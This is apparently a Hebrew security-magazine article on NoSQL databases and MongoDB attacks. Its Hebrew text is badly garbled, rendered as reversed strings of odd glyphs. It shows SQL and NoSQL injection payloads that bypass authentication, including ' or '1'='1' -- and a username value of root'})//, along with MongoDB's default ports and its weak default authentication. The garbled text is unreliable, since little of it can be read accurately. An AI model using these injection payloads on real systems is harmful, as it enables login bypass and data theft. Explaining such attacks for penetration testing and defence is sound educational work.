 ˱ˡ˟ ˷ˬ˸˷ˬ˪ ˠ˧˴ˢ˪ ˸ˬˣ˯˶˲ ˣˤ˧˞ ˰ˣ˟˵˪ ˣ˞ ˸ˣˮˣ˷ ˢ˶˧˩ˬ '˵ˮ˟ ˢ˞ˮˣˢ ˧ˣˢ˧ˤ ˰˴˟˪ ˢ˴˶ˮ ˶˷˞˩

.˦ˮ˶˦ˮ˧˞ˢ 

˷˵˧˧ˡˬ ˢ -  ˡˣ˟˧˰ˢ ˧˪˩˪ ˸˶ˡˣ˯ˬ ˢ˶ˣ˴˟ ˫˧ˬ˧˞˸ˬ ˫ˮ˧˞˷ ˫˧ˮˣ˸ˮ˪ ˸˧˸˧˧˰˟ˣ ˸˧˪˪˩ ˦˰ˬ ˣˤ ˢ˧˧ˠˣ˯

 ˭ˬˤ˟ˣ ˫˧ˮˣ˸ˮˢ ˸ˣˬ˩ ˶ˣ˟˰ ˵˲˯˪ ˫˧˪ˣ˩˧ ˞˪ ˫˧ˬ˧˧˵ˢ ˫˧˪˩ˢ˷ ˫˧ˮˣ˸ˮˢ ˥ˣ˸˧ˮ˟ ˨˶ˣ˴ ˷˧˷ ˣ˞ ˫˧ˬ˧˧˵ˢ

.˶˧ˢˬ 

 

 

 

NoSQL x-BIG DATA 

˟ˢ˪ ˧˪˟ˬ ˡ˥˧˟ ˢ˪˞ˢ ˫˧˪˧ˬˢ ˡˬ˴ ˸˞ ˶ˣ˷˵˪ ˫˧˦ˣˮ ˫˧˷ˮ˞ ˢ˟˶ˢ ˡ˥˞ ˪˩ ˪˷ ˸ˣ˰ˬ˷ˬˢ ˸˞ ˸ˬ˞˟ ˭˧

.˫˧˶˟ˡ˟ ˶ˡ˯ ˸˴˵ ˢ˷˰ˮ ˣ˞ˣ˟ .˧ˮ˷ˢ ˸˞ ˟˧˧˥ˬ ˡ˥˞˟ ˷ˣˬ˧˷ ˡ˧ˬ˸ ˞˪ ˶˷˞˩ ˫ˢˬ 

 ˸ˣ˸˪˧˞˷ ˣˮ˪ ˫˧˶˷˲˞ˬ ˫˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬSQL  ˫˰ ˸ˣˡˡˣˬ˸ˢ ,˫˧˦˯˧˦˦˯ ˫˧ˬˣ˩˧˯ ,˸ˣ˟˩˶ˣˬ

constraints ,˫˧˶ˠ˧˶˦ ,Stored Procedures ˣ˩˧ˢ ˪˩ ˸˞ ˥˵˧ˮ ˣ˞ˣ˟ ˣ˧˷˩˰ .ˡˣ˰ˣ ˫ˢ˧˪˰ ˶˸ˣˣˮˣ ˢ˪˞ˢ ˸ˣ˪

˟ ˪˲˦˪ ˸˪ˣ˩˧ˢ ˸˟ˣ˦˪-Scale .˫ˣ˴˰ 

http://www.digitalwhisper.co.il/
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NoSQL  ˞˪ˬˢ ˢˬ˷˟ ˣ˞Not Only SQL ,˥˲ˮˢ ˸˪ˡˠˢ ˪˰ ˸ˣˮ˰˪ ˢˡ˰ˣˮ˷ ˫˧ˮˣ˸ˮ ˪ˣˢ˧ˮ ˸˧ˠˣ˪ˣˮ˩˦ ˞˧ˢ ,

.˫˧ˡˡˣˬ˸ˬ ˫˧ˮˣˠ˶˞/˸ˣ˶˟˥˷ ˫˧ˮˣ˸ˮ ˧ˠˣ˯ ˪˷ ˟˥˶ ˭ˣˣˠˬˣ ˥ˣ˸˧ˮ ,ˡˣ˟˧˰ ,˸ˣ˶˧ˢˬˢ 

˧ˮˣ˸ˮ ˧ˡ˯ˬ ,˫˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ˪ ˢ˞ˣˣ˷ˢ˟ ˫NoSQL  .˫˧˪ˣ˰ˬ ˫˧˰ˣ˴˧˟ ˵˲˯˪ˣ ˶˸ˣ˧ ˢ˟˥˶ˢ˪ ˫˧ˮ˸˧ˮ

:˫˧˷ˣˡ˧˥ '˯ˬ ˫˧˵˲˯ˬ ˢ˪˞ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ 

¶ Elastic scaling -  ˰˴˟˪ ˫˧˪ˣ˩˧ ˫˧ˮˣˠ˶˞scale out .˫ˢ˪˷ ˫˧ˮˣ˸ˮˢ ˭ˣ˯˥˞ ˧˩˶˴˪ ˫˞˸ˢ˟ 

¶ ) ˰ˣ˟˵ ˫˧ˮˣ˸ˮ ˪ˡˣˬ ˭˧˞structured and unstructured data (-  ˸˷ˠ˪ ˫˧ˮˣˠ˶˞˪ ˢ˵˧ˮ˰ˬ ˣˤ ˸ˣ˷˧ˬˠ

˩˪.˫˧ˮˣ˸ˮ ˪˷ ˸ˣ˪ˣˡˠ ˶˸ˣ˧ ˢ˟˶ˢ ˸ˣ˧ˣˬ 

¶  ˢ˶ˬˣ˥ ˪˷˩ ˫˰ ˡˡˣˬ˸ˢ˪ ˸˪ˣ˩˧ˢ-  ˫˧ˮˣ˸ˮˢ ˡ˯ˬ ˥˸ˣ˲ ˫˧˷˥˶˸ˬ ˢ˶ˬˣ˥˟ ˫˧˪˷˩˷ ˢˡ˟ˣ˰ˢ

NoSQL ) ˸ˣ˶˧˸˧ ˫˰redundancy.˷˞˶ˬ ( 

 ˪˷ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˸ˣ˩˶˰ˬNoSQL  .˫˧ˮˣ˸ˮˢ ˭ˣ˯˥˧˞˪ ˣˢ˷˪˩ ˪ˡˣˬ/˧˯˥˧ ˢˮ˟ˬ ˣˢ˷ˤ˧˞ ˫˰ ˸ˣ˰˧ˠˬ ˭ˮ˧˞

˟ ˫˧˴˟˵˟ ˫˧˶ˬ˷ˮ ˫˧ˮˣ˸ˮˢ.˫˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬ˟ ˷˧˷ ˸ˣ˞˪˟˦˪ ˡˣˠ˧ˮ 

 ˪˷ ˫˧ˮˣ˸ˮ ˯˧˯˟ ˧ˠˣ˯ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˷˧NoSQL :˭ˣˠ˩ 

¶ DB-Value-Key 

¶ DB-Column 

¶ DB-Document 

¶ DB-Graph 

¶ DB-Object 

Document Oriented DB 

 ˢˮ˟ˬ ˞˪˪ ˫˧ˮˣ˸ˮ ˣ˞ ,˭ˣˣ˩ˬ ˨ˬ˯ˬ ˪ˣˢ˧ˮˣ ,˶ˣˤ˥˞ ,˭ˣ˯˥˞˪ ˡ˰ˣˮ˷ ˨ˬ˯ˬ ˢ˥ˮˣˬ ˫˧ˮˣ˸ˮ ˡ˯ˬ

)ured dataunstruct ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˪˷ ˧ˤ˩˶ˬˢ ˭ˣ˧˰˶ˢ ˣˢˤ .(NoSQL ˫˧ˮˣ˸ˮˢ ˡ˯ˬ˟ ˨ˬ˯ˬ ˪˩˷ ˸ˣ˶ˬ˪ .

 ˫˧ˮˣ˸ˮˢ ˸˶˧ˬ˷˪ ˫˧˷ˬ˷ˬ ˫˧˩ˬ˯ˬˢ ˪˩ ,˧˪˪˩ ˭˲ˣ˞˟ ,˫˧˩ˬ˯ˬˢ ˶˞˷ˬ ˢˮˣ˷ ˢ˶ˣ˴˟ ˶ˡˠˣˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧

 ˧"˰ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˨ˬ˯ˬˢ ˡˣˡ˧˵ .˦ˬ˶ˣ˲ ˣ˸ˣ˞˟XML ,YAML ,JSON x-BSON ˣˬ˩ ˸˧˶˞ˮ˧˟ ˢ˶ˣ˴˟ ,PDF 

˯ˬˣ ˧˩ˬWord, Excel -Microsoft Office .ˢ˞˪ˢ ˨˩ˣ , 

:˫ˡˣ˵ˬˬ ˢ˦˧˯˶˟˧ˮˣ˞ˢ ˪˷ ˞ˬˠˣˡ˟ ˰ˠ˶˪ ˷ˬ˸˷ˮ 

 ˪˪˩ ˪˷ ˫ˣ˩˧˯ ˞ˬˠˣˡ˪ :˸ˣ˟˶ ˸ˣ˧˶ˣ˦˯˧ˢ ˸ˣˬˣ˷˶ ˠ˴˧˧˪ ˢ˴ˣ˶ ˢ˪˪˩ˬ/ˢ˦˧˯˶˟˧ˮˣ˞ ˧ˬˡ˵˞ ˡ˯ˣˬˣ ˢˡ˧ˬ˟

.˸ˬ˧˧ˣ˯ˬ ˢ˦˪ˣ˵˲˟ ˫˧˦ˮˡˣ˦˯ˢ ˣ˵ ˸˪˟˦ ˣˮ˪ ˢ˧ˢ˸ ˪ˬ˶ˣˮˬˣ ˧ˮˣ˧˴˪˶ ˫˧ˮˣ˸ˮ ˯˧˯˟ ˷ˬ˸˷ˮ ˫˞ ˶ˬ˞ˮ) ˫˧˯˶

20 = ˫˧ˮ˷ ˶˷˰ ,ˢˮ˷˟ ˭ˣ˧˪˧ˬ ˶ˬ˞ˮ) ˫˧ˮ˥˟ˬ ˸˪˟˦˪ ˸˶˷ˣ˵ˬˢ (20  ˧˯˧˯˟˟ ˰˟˴˞ˢ ˧˪˪˩ˬ ˡ˥˞ˣ (˭ˣ˧˪˧ˬ

:˞ˣˢ ˫˧ˮˣ˸ˮ  ˪˰ˬ˷10  ˶ˬˣ˪˩ .˦˞˪ ˟˧ˠˢ˪ ˪˧˥˸ˬ ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˢ˪˟˦˟ ˸ˣˬˣ˷˶ ˭ˣ˧˪˧ˬ- .˧˷˰ˬ ˞˪ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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OK  ,ˣˮ˟ˢ ˪˟˞?˰ˡ˧ˬ ˸˥˦˟˞˪ ˶ˣ˷˵ ˢˤ ˪˩ ˨˧˞ 

SQL Injection -  ˩"˩ ˢˤ90' 

.˫ˢ˧˪˞ ˢ˴˧˶˲ˢ ˨˶ˡ ˫ˠ ˢˮ˸˷ˬ ,˫ˢ˪˷ ˢˡˣ˟˰ˢ ˸˶ˣ˴˸˟ ˧ˣˮ˧˷ ˣ˶˟˰ ˫˧ˮˣ˸ˮˢ ˧ˡ˯ˬ˷ ˭ˣˣ˧˩ˬ  ˸˵˶ˤˢSQL 

-  ˫˧˷ˮ˞ˬ ˣ˞ ˫˧ˮˣˠ˶˞ˬ ˫˧ˮˣ˸ˮ ˟ˣˮˠ˪ ˧ˡ˩ ˫˧˶˵˞ˢ ˧"˰ ˷ˣˬ˧˷˟ ˫˧˟˶ˢ ˢ˲˵˸ˢˢ ˧ˮˣˮˠˮˬˬ ˡ˥˞ ˞˧ˢ

ˣˤ .˫ˣ˧˩ ˷ˣˬ˧˷˟ ˢ˧˴˵˧˪˲˞ˢ ˸˟˩˷˟ ˶˸ˣ˧˟ ˸ˣ˴ˣ˲ˮˢ ˢ˲˧˵˸ˢ ˸ˣ˵˧ˮ˩˦ˬ ˸˥˞ ˧˪ˣ˞ ˣˤ .˫˧˧˦˶˲ ˪˷ ˠˣ˯ ˢ

 ˸ˣˡˣ˵˲ ˵˧˶ˤˢ˪ ˶˵˞ˢ˪ ˶˷˲˞ˬˢ ,ˢˮ˩ˣ˸ ˧ˬˣ˷˧˧ ˪˷ ˭˧˵˸ ˞˪ ˡˣˡ˧˵ ˪˴ˮˬ˷ ˢ˲˵˸ˢSQL  ˯˲ˣ˦ ˪˷ˬ˪)

.˨˪˷ ˫˧ˮˣ˸ˮˢ ˡ˯ˬ ˨ˣ˸˟ ˣ˶ˬ˷ˮ˷ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠ ˪˟˵˪ ˣ˪ ˶˷˲˞˪ ˧ˡ˩ (˸ˣ˶˟˥˸ˢ 

 .ˢˤ ˞˷ˣˮ ˪˰ ˫˧˶˟˯ˢˣ ˸ˣ˞ˬˠˣˡ ˱˴ˣˬ ˦ˮ˶˦˧ˮ˞ˢ˷ ˭ˣˣ˧˩ ˟˧˥˶ˢ˪ ˨˶ˣ˴ ˭˧˞ ˣˤ ˢ˵˧ˮ˩˦ ˪˰ 

ectionNoSQL = No Inj? 

 :ˣˮ˧ˢ ˶˥˟ˮˢ ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˠ˧˴ˢ ˡ˧ˬ˷ ˸ˣ˞ˬˠˣˡ˟MongoDB. oDBmong ) ˥ˣ˸˲ ˡˣ˵ ˦˵˧ˣ˶˲ ˣˮ˧ˢopen 

source ˯˯ˣ˟ˬ ˫˧ˮˣ˸ˮ ˡ˯ˬ˪ (Document Oriented.  ˡ˟ˣ˰ ˧˲˪˷ ˪ˡˣˬˢmongoDB  ˡ˯ˬ ˪˩˟˷ ˣˮ˧ˢ

˯ˬ ˷˧ ˱˯ˣ˞ ˪˩˟ˣ ˫˧˲˯ˣ˞ '˯ˬ ˷˧ ˫˧ˮˣ˸ˮ ˪˷ ˫˧ˡˬ˴ ˪˧˩ˬ ˨ˬ˯ˬ ˪˩ ˶˷˞˩ ˫˧˩ˬ˯ˬ 'Value-Key ˡ˧ˬ) .

.(ˣ˶ˢ˟ˣ˧ ˢ˪˞ˢ ˫˧ˠ˷ˣˬˢ 

 ˪˟˵ˬ˷ ˨ˬ˯ˬˢ ˧ˮˣ˸ˮ ˪ˡˣˬMongoDB  ˢ˷˰ˬ˪ ˞ˣˢJSON  ˶ˬˣ˪˩ ˧˶˞ˮ˧˟BSON ˶˷˲˞ˬ ˶˷˞ ˶˟ˡ ,

.˫˧˥ˣˮ ˡˣ˞ˬ ˪ˣˢ˧ˮˣ ˢ˵ˣˤ˥˸  ˭˧˟ ,ˢˮ˟ˬ˟ ˧˪˞ˣ˦˲˯ˮˣ˵ˢ ˪ˡ˟ˢˢMongoDB  ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ ˭˧˟˪ ,˪˷ˬ˪

 ˧˯˯ˣ˟ˬSQL˩ ˞ˣˢ ,:˭ˬ˵˪ˡ 

 

" ˸ˠ˴ˬˢˬ ˢ˥ˣ˵˪ ˢˮˣˬ˸ˢ]Making Mongo Cry: NoSQL for Penetration Testers ˪˷ "Russell Butturini[ 

http://www.digitalwhisper.co.il/
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 ,ˤ˞-˟mongoDB  ˷˧˱˯ˣ˞ ˬ˯ˬ ˵˧ˤ˥ˬ ˞ˣˢˣ (ˢ˪˟˦) ˨ ˢˡ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˨ˬ˯ˬ ˪˩ .(˸ˣˬˣ˷˶) ˶˸ˣ˧ ˣ˞ ˡ˥˞

ˣ˧ ˣ˞ ˡ˥˞.(˸ˣˡˣˬ˰) ˶˸ 

.ˢ˲˧˦ ˪ˣ˪˴ˮ ˣ˞ˣ˟ ,˫˧ˬ˪ ˣ˯ˮ˩ˮ˷ ˧˶˥˞ ˤ˞ 

NoSQL Injection ˧˯˯ˣ˟ˬ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ˟ MongoDB: 

˟˫˧ˮˣ˧˴˪˶ˢ ˫˧ˮˣ˸ˮˢ ˧˯˧˯˟ ˢ ˸˞ ˪˞˷˸˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˥ˮ˞ ˶˷˞˩ ˣˮ˪ˣ˩˪ ˫˧˰ˣˡ˧ˢ-DB  ˸˞ˤ ˢ˷˰ˮ ˣˮ˥ˮ˞

 ˸˸˪˧˞˷ ˧"˰SQL :ˢ˞˟ˢ ˢ˶ˣ˴˟ 

SELECT * FROM users WHERE username = '$user name' AND password = '$password'  

 ˨˶˰ˢ ˸˞ ˟˧˴ˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ ,˧ˣ˞˶˩ ˢ˟˸˩ˮ ˞˪ ˞˸˪˧˞˷ˢ ˫˞' or '1'='1' -- ˢ ˢˡ˷˟-username  ˨˩˟ˣ

:˸˧˶ˣ˵ˬˢ ˞˸˪˧˞˷ˢ ˸˞ ˸ˣˬ˶˪ ˣ˞ ˱ˣ˵˰˪ 

SELECT * FROM users WHERE username = ' ' or '1'='1' --  AND password = ''  

-˟MongoDB .˸˶˥˞ ˸˴˵ ˶ˣ˲˧˯ˢ 

 ˶ˣ˟˰ ˪˧˰˪˷ ˞˸˪˧˞˷ˢ ˸˞ ˟ˣ˸˩˪ ˢ˴˶ˮ ˶˷˞˩mongo:˨˩ ˸˞ˤ ˢ˷˰ˮ , 

db.users.find({username: username, password: password});  

˶˟˯ˢ: ˢ ˨ˣ˸˟ ˷˲˥ˣ ˷ˠ-collection  ˪˷users ˢ ˫˧ˬ˧˧˵ ˫˞ˢ-username ˢˣ-password ˢ˪˞ˢ. 

ˮ˸ˮ˸˷ˢ ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˸˞ ˫˧˪˞˷˸ˬ ˣˮ˥ˮ˞ ˢ˟ ˨˶ˡˢ ˸ˣ˞˶˪ ˣ˸˧ˮ˷ ˧˲˩ ˸˲˷ ˸˞ ˶˸ˣ˧ ˭˧˞ .˦˰ˬ ˢ

 ˸ˣ˸˪˧˞˷ˢSQL .˸ˣ˧˴˵ˮˣ˲ ˷˧  ˢ˷˰ˬ˪mongoDB  ˶ˣˤ˥˧˞ ˪˰ ˡˣ˞ˬ ˢ˪˵ˬ˷ ˣˤ˩ ˪ˣˢ˧ˮ ˸˟˩˷ ˣˮ˪ ˸˵˲˯ˬ

 ˢ˧˴˵ˮˣ˲ˢ ˨ˣ˸˟ ˫˧˞ˮ˸ ˯˧ˮ˩ˢ˪ ˪˩ˣˮ ˸ˬˡˣ˵ˢ ˞ˬˠˣˡˢ ˸˞ ˥˵˧ˮ ˫˞ , ˫˧ˮˣ˸ˮˢfind ˣˬ˩ ˷ˬˬwhere 

clause  ˸˲˷˟SQL: 

db.users.find( { username: { $in: [ 'root, 'a dmin' ] } } )  

˷ ˸ˣˬˣ˷˶ ˶ˤ˥˞˪ ˫˧˷˵˟ˬ ˣˮ˥ˮ˞ ˪"ˮˢ 'ˠˣˡ˟-username ˪ ˢˣˣ˷-root ˣ˞ ˪-admin.  ˸˲˷ ˞˪ ˣˤ ˭ˣ˩ˮ ˤ˞

.ˢ˵˶ˤˢ ˰˴˟˪ ˶˷˲˞ ˢ˪ ˫ˠˣ ˸ˣ˷˪ˣ˥ ˷˧ ˢ˟ ˫ˠ ˨˩ ,˸ˣ˸˪˧˞˷  ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˣˮ˪˷ ˢ˶˵ˬ˟ ˢ˵˶ˤˢ

:˨˩ ˸˷ˬˣˬˬ 

 ˶˦ˬ˶˲˟username  :˨˶˰ˢ ˸˞ ˫˧˷ˮusername="root'})// " 

db.users. find({username: ' root'}) // ,password: password});  

 ˸ˣˡ˷ˢ˪ ˦˪˵ˢ ˸ˣˮ˧˵˸ ˪˰ ˢ˧˴ˡ˧˪˞ˣ ˫˧˰˴˟ˬ ˞˪ ˪"ˮˢ ˞ˬˠˣˡ˟username x-password  ˸˞ ˣˮ˪˦˧˟ ˨˩˟ˣ

 ˶˦ˬ˶˲ˢpassword. 
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 ˧˯˯ˣ˟ˬ ˫˧ˮˣ˸ˮ ˧ˡ˯ˬ˟ ˸ˣ˧ˣ˰˧ˠ˲˪ ˸ˣ˞ˬˠˣˡMongoDB: 

1. Default Ports - ˪-MongoDB  '˯ˬ ˷˧ ˫˧˦˶ˣ˲ ˸ˣ˶˞˷ˮ ˟ˣ˶˪˷˫˧˰ˣ˟˵: 

¶ 27017 -  ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸˞˧˴˧ ˧ˢˣˤmongod x-mongos) ˸ˣ˶˧˷ˢ ˣˢˤ .service ˪˷ (MongoDB 

 ˶˷˲˞ˣˣˢˡˣ˵˲ˢ ˧"˰ ˣ˸ˣ˞ ˸ˣˮ˷˪ ˧ˣ˴˶ ˱˞: port  ˣ˞port--  .ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˳˟ˣ˵ ˧ˣˮ˧˷ ˧"˰ ˣ˞

/)etc/mongodb.conf(: 

 

¶ 27018 - ˫˰ ˫˧˴˧˶ˬ ˶˷˞˩ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸˞˧˴˧ ˧ˢˣˤ: shardsvr-- 

¶ 27019 - ˫˰ ˫˧˴˧˶ˬ ˶˷˞˩ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸˞˧˴˧ ˧ˢˣˤ: configsvr-- 

¶ 28017 - .˭˲ˡ˲ˡˢ ˨˶ˡ (˭˪ˣ˩ˬ ˸˶˩ˣˬˢ ˧˪ˣ˞) ˪ˡ˥ˬˢ ˸˶˧˶˟ ˧ˢˣˤ 

ˣ˲ ˪˰ ˢ˴˧˶ ˫˧˲˧˰˯ˢ ˶˞˷˪ ˱˯ˣˮ˟ ,ˢˤ ˪˟˞ ,ˢ˥˦˟˞ ˪˷˩ ˪˰ ˢ˰˧˟˴ˬ ˢˮ˧ˢ ˢˬ˴˰˪˷˩ ˪ˡ˥ˬ ˸˶˧˶˟˩ ˦˶

 ˱˧˰˯˪ ˡˣ˥˧˧˟ˣ) ˨˷ˬˢ˟ ˣ˰˧ˠ˧˷2 (- ˟ ˢ˵˧˶˯ ,ˢ˲ˣ˶˦˯˦˵˟ ˶˟ˣˡˬ-Shodan  ˸ˣ˥˲˪ ˧˩ ˢ˞˶ˬ51,451 

:ˢˤ ˦˶ˣ˲ ˪˰ ˫˧ˮ˧ˤ˞ˬ ˫˧˸˶˷ 
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2. Authentication Weakness -  ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˪ˡ˥ˬ ˸˶˧˶˟˩˶˴ˣˮ ˞ˬ˯˧˯ ˞˪˪.  ˸˞ ˫˧˞˶ˣ˵˷˩

 ˪˷ ˨˧˶ˡˬˢmongoDB  ˢ˧˴˵˧˪˲˞ˢ ˡ˴˟ ˶˞˷˧ˢ˪ ˨˧˶˴ ˢ˥˦˟˞ˢ ˭˧˧ˮ˰˷ ˣ˦˧˪˥ˢ ˫˧˥˸˲ˬˢ˷ ˫˧˪ˠˬ

˞˪ ˡˣ˥˧˧˟ ˶ˤˣˬ ˰ˬ˷ˮ .ˡ˟˪˟ˣ ˫˧ˮˣ˸ˮ ˧˯˧˯˟˟ ˢ˥˦˟˞ ˭˧˧ˮ˰ ˫ˢ˟ ˫˧˟˶ ˢ˩ ˫˧˶˵ˬ ˶RDBMS  ˥˩ˣˢ

.ˡˣ˞ˬ ˳ˣ˥ˮ˩  ,˸˞ˤ ˰ˣˮˬ˪ ˧ˡ˩˸˪ˣ ˧˦ˮˣˣ˪˶ˢ ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˶ˣ˟˰ ˶ˤˣ˧ ˶ˣ˴˧˪ ˣˮ˧˪˰ ˸˧˷˞˶ ˣ˪ ˵˶ˣ ˣ˪ ˸

:'ˠˣˡ˪ ,ˣ˧˪˞ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˸ˣ˞˷˶ˢˢ ˸˞ 

 

 ˶ˤˣ˧˪Mika  ˪˷ ˫˧ˮˣ˸ˮˢ ˯˧˯˟˪ !˵˶ ˢ˟˧˸˩/ˢ˞˧˶˵ ˸ˣ˞˷˶ˢ ˷˧digitalwhisper ˪˷ ˢ˶˵ˬ˟) .

 ˫ˣ˷˶˪ ˷˧ ˡ˟˪˟ ˢ˞˧˶˵ ˸˞˷˞˶ˢread ˣˮ˷˧ (˫ˡˣ˵ˢ ˱˧˰˯˟ ˶˩ˤˣˢ˷) ˠ˧˲ˮˣ˵ˢ ˳˟ˣ˵˟ ,˭˩ˬ ˶˥˞˪ .(

 ˞˶˵ˮˢ ˱˯ˣˮ ˶˦ˬ˶˲auth , 

 

˧"˰ ˣ˸ˣ˞ ˶˷˲˞˪ ˷˧ .˸ˣˬ˧˞ ˶ˣ˟˰˪ ˟˧˧ˣ˥˸ ˫˧ˮˣ˸ˮˢ ˯˧˯˟ ˪˞ ˸ˣ˶˟˥˸ˢ ˪˩ ˸˰˩ .# ˸˵˧˥ˬ 
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